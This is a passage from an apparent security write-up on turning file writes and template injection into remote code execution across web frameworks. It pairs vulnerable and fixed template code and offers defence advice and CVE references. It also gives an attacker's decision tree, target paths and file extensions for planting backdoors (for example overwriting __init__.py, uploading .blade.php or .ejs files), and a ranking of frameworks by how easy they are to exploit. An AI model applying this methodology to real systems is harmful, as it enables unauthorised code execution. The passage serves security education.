select_template ( allowed ) return HttpResponse ( template . render ({}, request )) Python/Flask # DANGEROUS return render_template ( request . args . get ( 'page' )) # SAFE allowed_templates = [ 'home.html' , 'profile.html' ] template = request . args . get ( 'page' ) if template in allowed_templates : return render_template ( template ) Go // DANGEROUS tmpl := template . Must ( template . New ( "page" ) . Parse ( c . Query ( "content" ))) tmpl . Execute ( c . Writer , c ) // SAFE tmpl := template . Must ( template . ParseFiles ( "templates/safe.tmpl" )) // Validate all data before passing to template data := gin . H { "name" : sanitize ( c . Query ( "name" ))} tmpl . Execute ( c . Writer , data ) Step 10: Quick Exploitation Decision Tree [File Write Capability] | ├─ ASP.NET MVC? │ └─ Write to ~/Views/{Controller}/{Action}.cshtml → Trigger route → RCE | ├─ Ruby on Rails? │ ├─ Wildcard route exists? │ │ └─ Write .erb anywhere → Path traversal via URL → RCE │ └─ No wildcard? │ └─ Write to exact path: app/views/{controller}/{action}.erb → RCE | ├─ Node.js/Express? │ ├─ Options injection possible? │ │ └─ No file write needed! → Inject outputFunctionName → RCE │ └─ File write only? │ └─ Write to views/{template}.ejs → Trigger render → RCE | ├─ PHP/Laravel? │ └─ Write to resources/views/{name}.blade.php → Trigger view() → RCE | ├─ Python/Django? │ ├─ SSTI exists? │ │ └─ No file write needed! → SSTI payload → Limited RCE │ └─ File write only? │ └─ Write to {app}/__init__.py → Restart/import → RCE | ├─ Python/Flask? │ ├─ SSTI exists? │ │ └─ No file write needed! → SSTI payload → Limited RCE │ ├─ Debug mode? │ │ └─ Write to __init__.py → Auto-reload → RCE │ └─ Production? │ └─ Write to __init__.py → Wait for restart → RCE | └─ Go/Gin/Echo? ├─ SSTI exists? │ └─ File read via gadgets (not RCE) └─ No SSTI? └─ Very limited attack surface Step 11: Common Pitfalls for attackers Mistake 1: Wrong File Extension ❌ Rails: Uploading evil.html (won't execute) ✅ Rails: Upload evil.html.erb (will execute) ❌ Laravel: Uploading backdoor.php (might work but no Blade directives) ✅ Laravel: Upload backdoor.blade.php (full Blade functionality) ❌ Express: Uploading shell.js (won't be rendered) ✅ Express: Upload shell.ejs or shell.hbs (depends on engine) Mistake 2: Wrong Target Path ❌ Rails: Writing to public/ (static files, no execution) ✅ Rails: Write to app/views/ (executed by ERB engine) ❌ Django: Writing to static/ (no execution) ✅ Django: Write to {app}/__init__.py (executes on import) ❌ ASP.NET: Writing to ~/Content/ (static files) ✅ ASP.NET: Write to ~/Views/ (executed by Razor) Mistake 3: Not Understanding Auto-reload Flask/Django Debug Mode: Files execute immediately on save (hot reload) Perfect for __init__.py overwrites Production Mode: Changes require restart May need to wait for deployment or crash the app Rails Development: Zeitwerk auto-reloads code changes Templates always reload Rails Production: config.eager_load = true → No auto-loading Need exact paths Mistake 4: Forgetting Framework Constraints Go Templates: Sandboxed - can’t call arbitrary functions RCE is extremely difficult Focus on file reads via SSTI gadgets Django Templates: Very limited by default Need specific gadgets for RCE __init__.py overwrite is more reliable Express: Options injection is easier than file write Try that first! Summary Table Rank Framework Reason 1 Node.js/Express No file write needed (options injection) 2 PHP/Laravel Simple include, minimal protections 3 Ruby on Rails Wildcard routes + ERB execution 4 ASP.NET MVC View Engine patterns predictable 5 Python/Flask SSTI or __init__.py (needs debug/restart) 6 Python/Django Requires __init__.py + restart/import 7 Go Template sandboxing, no easy RCE Conclusion The common theme across all frameworks: Framework-level file resolution mechanisms bypass web server protections. When developers rely on convention-over-configuration patterns: Predictable file paths emerge Automatic file loading creates attack surfaces Path traversal + file write = RCE Key Insight: Even without wildcard routing, if you can write to exact template/controller paths, you can achieve RCE in most frameworks. Defense: Validate all file paths, never use dynamic template names, disable debug modes in production, and use explicit whitelisting. References CVE-2014-0130: Rails Wildcard Routing Path Traversal CVE-2022-29078: EJS Template Injection CVE-2022-25967: Eta Template Engine RCE ASP.NET MVC View Engine Research (by Diyan Apostolov) @ CTBB OWASP Testing Guide v4: Template Injection PortSwigger: Server-Side Template Injection Write Path Traversal RCE Ruby Express Laravel Django Flask GoLang ↑